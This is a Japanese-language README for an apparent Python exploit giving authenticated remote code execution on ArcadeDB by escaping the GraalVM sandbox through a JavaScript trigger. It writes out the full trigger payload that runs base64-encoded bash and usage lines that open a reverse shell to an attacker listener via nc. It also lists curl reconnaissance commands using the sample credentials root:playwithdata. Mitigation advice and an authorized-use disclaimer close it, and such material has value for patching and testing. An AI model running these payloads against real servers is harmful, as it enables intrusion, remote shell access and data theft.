
JavaScriptトリガーによるGraalVMサンドボックスエスケープを利用したArcadeDB向け認証後RCEエクスプロイト。HTTP API経由でOSコマンドを実行し、リバースシェルまたはブラインドコマンドモードに対応。
ArcadeDB(Java製のマルチモデルデータベース)では、ホストクラスに到達する JAVASCRIPTトリガー を介して、認証後のリモートコード実行が可能です。
トリガーの GraalVM ポリグロットエンジンは、java.lang.* を含むホストクラスの許可リストを備えて構築されています(ScriptTriggerExecutor.setAllowedPackages)。そのため、トリガースクリプトから次の呼び出しが可能です:
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);
allowCreateProcess(false) はこれをブロックしません — Runtime.exec は GraalVM のゲストプロセス API ではなく、HostAccess.ALL によって許可されるホストメソッド呼び出しだからです。トリガーの作成に必要なのは**UPDATE_SCHEMA** 権限だけです(直接のスクリプト実行を制限する UPDATE_SECURITY よりも弱い権限)。そのため root でも実行可能であり、HTTP API 経由の認証後RCE となります。
< 26.7.2 (0 – 26.7.1)26.7.2 (トリガーの許可リストから java.lang.* を削除 + プロセス/リフレクション/クラスローダーの拒否リスト付き HostClassLookupFilter を追加)2480 (HTTP API + Studio、Basic 認証)直接の
language:jsコマンドパスは攻撃経路ではありません — 許可パッケージがなく(Java.typeはブロック)、UPDATE_SECURITY権限が必要です。トリガーエグゼキュータのみがjava.lang.*をハードコードしています。
Python 3 標準ライブラリのみ — 依存関係はありません。UPDATE_SCHEMA 権限を持つ有効な ArcadeDB の認証情報(例: root)が必要です。ArcadeDB にはハードコードされたデフォルトパスワードはありませんが、同梱の docker-compose.yml にはサンプルの root:playwithdata が含まれており、これはよくそのまま放置されがちな認証情報です。
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'
# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb
認証済みの POST /api/v1/command/<db> リクエストを3回送信します(language:sql):
CREATE DOCUMENT TYPE PwnCREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'INSERT INTO Pwn SET x = 1 — BEFORE CREATE トリガーが発火し、JavaScript が実行されます。OS コマンドは base64 でラップされているため、JavaScript/SQL/JSON の各レイヤーでネストした引用符のエスケープが不要です。また、スクリプトは waitFor() を省略しているため exec は即座に戻ります(子プロセスは実行を続け、リクエストはブロックされません)。
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases # lists databases
ArcadeDB ≥ 26.7.2 にアップグレードし、強力な rootPassword を設定してください(playwithdata は絶対に使用しないこと)。ArcadeDB を root で実行せず、UPDATE_SCHEMA を制限し、HTTP API/Studio を信頼できないネットワークに公開しないでください。
許可されたセキュリティテストおよび教育目的のみに使用してください。自分が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。